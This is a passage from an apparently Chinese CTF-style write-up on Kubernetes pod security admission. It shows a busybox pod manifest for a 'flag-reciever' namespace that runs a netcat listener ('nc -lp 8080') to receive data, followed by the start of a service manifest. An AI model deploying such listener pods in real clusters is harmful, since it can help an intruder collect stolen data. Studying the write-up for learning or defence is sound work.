UI;font-variant:normal;text-transform:none;color:#669900;">&#34;nginx&#34;</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> must </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#DD4A68;">set</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> securityContext.seccompProfile.type to </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#669900;">&#34;RuntimeDefault&#34;</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> or </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#669900;">&#34;Localhost&#34;</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">)</span><span style="font-family: &#34;Microsoft YaHei UI&#34;;font-size: var(--articleFontsize);letter-spacing: 0.034em;"> </span></p><p style="text-align:left;"><span style="font-family:Microsoft YaHei UI;mso-ascii-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">一大堆报错，简单来说就是需要设置securityContext 和 cap 的限制，包括 runasuser。这种情况非常常见，在实战中不少大规模集群也会有这种securityContext和 resources limits 的限制，想起之前的一次持久化自动化创建 pod，就需要考虑到这一点。</span></p><p style="text-align:left;"><span style="font-family:Microsoft YaHei UI;mso-ascii-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">使用 dry-run 先来个 template，然后根据题目的报错要求进一步修改，最后的完整 yaml 如下。</span></p><p style="text-align:left;"><strong><span style="font-family:Microsoft YaHei UI;mso-ascii-font-family:Microsoft YaHei UI;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">busybox-exp.yaml</span></strong><span style="font-family:Microsoft YaHei UI;mso-ascii-font-family:Microsoft YaHei UI;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"></span></p><p style="text-align:left;border-top:solid #E9E7E7 1.0pt;border-left:solid #E9E7E7 1.0pt;border-bottom:solid #E9E7E7 1.0pt;border-right:solid #E9E7E7 1.0pt;mso-padding-alt:8.0pt 8.0pt 8.0pt 8.0pt;padding:8.0pt 8.0pt 8.0pt 8.0pt;background:#F6F5F5;"><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">apiVersion</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> v1</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">          <br/>kind</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> Pod</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">          <br/>metadata</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">          <br/><span style="mso-spacerun:yes;">  </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">creationTimestamp</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#EE9900;font-weight:bold;mso-bidi-font-weight:bold;">null</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">          <br/><span style="mso-spacerun:yes;">  </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">labels</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">          <br/><span style="mso-spacerun:yes;">    </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">run</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> busyboxtest          <br/><span style="mso-spacerun:yes;">  </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">name</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> busyboxtest          <br/><span style="mso-spacerun:yes;">  </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">namespace</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> flag</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">-</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">reciever</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">          <br/>spec</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">          <br/><span style="mso-spacerun:yes;">  </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">securityContext</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">          <br/><span style="mso-spacerun:yes;">    </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">runAsNonRoot</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#EE9900;font-weight:bold;mso-bidi-font-weight:bold;">true</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">          <br/><span style="mso-spacerun:yes;">    </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">runAsUser</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#990055;">1000</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">          <br/><span style="mso-spacerun:yes;">    </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">seccompProfile</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">          <br/><span style="mso-spacerun:yes;">      </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">type</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> RuntimeDefault          <br/><span style="mso-spacerun:yes;">  </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">containers</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">          <br/><span style="mso-spacerun:yes;">  </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">-</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">image</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> busybox          <br/><span style="mso-spacerun:yes;">    </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">name</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> busyboxtest          <br/><span style="mso-spacerun:yes;">    </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">args</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">[</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">/bin/sh, </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">-</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">c, </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#669900;">&#39;nc -lp 8080&#39;</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">]</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">          <br/><span style="mso-spacerun:yes;">    </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">ports</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">          <br/><span style="mso-spacerun:yes;">      </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">-</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">containerPort</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#990055;">8080</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">          <br/><span style="mso-spacerun:yes;">        </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">name</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> http</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">-</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">web</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">-</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">svc          <br/><span style="mso-spacerun:yes;">    </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">securityContext</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">          <br/><span style="mso-spacerun:yes;">        </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">allowPrivilegeEscalation</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#EE9900;font-weight:bold;mso-bidi-font-weight:bold;">false</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">          <br/><span style="mso-spacerun:yes;">        </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">capabilities</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">          <br/><span style="mso-spacerun:yes;">          </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">drop</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">          <br/><span style="mso-spacerun:yes;">            </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">-</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> ALL          <br/><span style="mso-spacerun:yes;">    </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">resources</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">          <br/><span style="mso-spacerun:yes;">        </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">limits</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">          <br/><span style="mso-spacerun:yes;">          </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">cpu</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#669900;">&#34;100m&#34;</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">          <br/><span style="mso-spacerun:yes;">          </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">memory</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#669900;">&#34;0Mi&#34;</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">          <br/><span style="mso-spacerun:yes;">        </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">requests</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">          <br/><span style="mso-spacerun:yes;">          </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">cpu</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#669900;">&#34;100m&#34;</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">          <br/><span style="mso-spacerun:yes;">          </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">memory</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#669900;">&#34;0Mi&#34;</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">          <br/><span style="mso-spacerun:yes;">  </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">dnsPolicy</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> ClusterFirst          <br/><span style="mso-spacerun:yes;">  </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">restartPolicy</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> Always</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">          <br/>status</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> </span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">{}</span></p><p style="text-align:left;"><strong><span style="font-family: &#34;Microsoft YaHei UI&#34;;font-size: var(--articleFontsize);letter-spacing: 0.034em;">s</span><span style="font-family: &#34;Microsoft YaHei UI&#34;;font-size: var(--articleFontsize);letter-spacing: 0.034em;">ervice.yaml</span></strong><br/></p><p style="text-align:left;border-top:solid #E9E7E7 1.0pt;border-left:solid #E9E7E7 1.0pt;border-bottom:solid #E9E7E7 1.0pt;border-right:solid #E9E7E7 1.0pt;mso-padding-alt:8.0pt 8.0pt 8.0pt 8.0pt;padding:8.0pt 8.0pt 8.0pt 8.0pt;background:#F6F5F5;"><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">apiVersion</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> v1</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">          <br/>kind</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> Service</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">          <br/>metadata</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">          <br/><span style="mso-spacerun:yes;">  </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">name</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;"> my</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">-</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">custom</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">-</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">service</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">          <br/>spec</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#999999;">:</span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;">          <br/><span style="mso-spacerun:yes;">  </span></span><span style="font-family:Consolas;mso-ascii-font-family:Consolas;mso-fareast-font-family:Microsoft YaHei UI;font-variant:normal;text-transform:none;color:#0077AA;">type</span><span 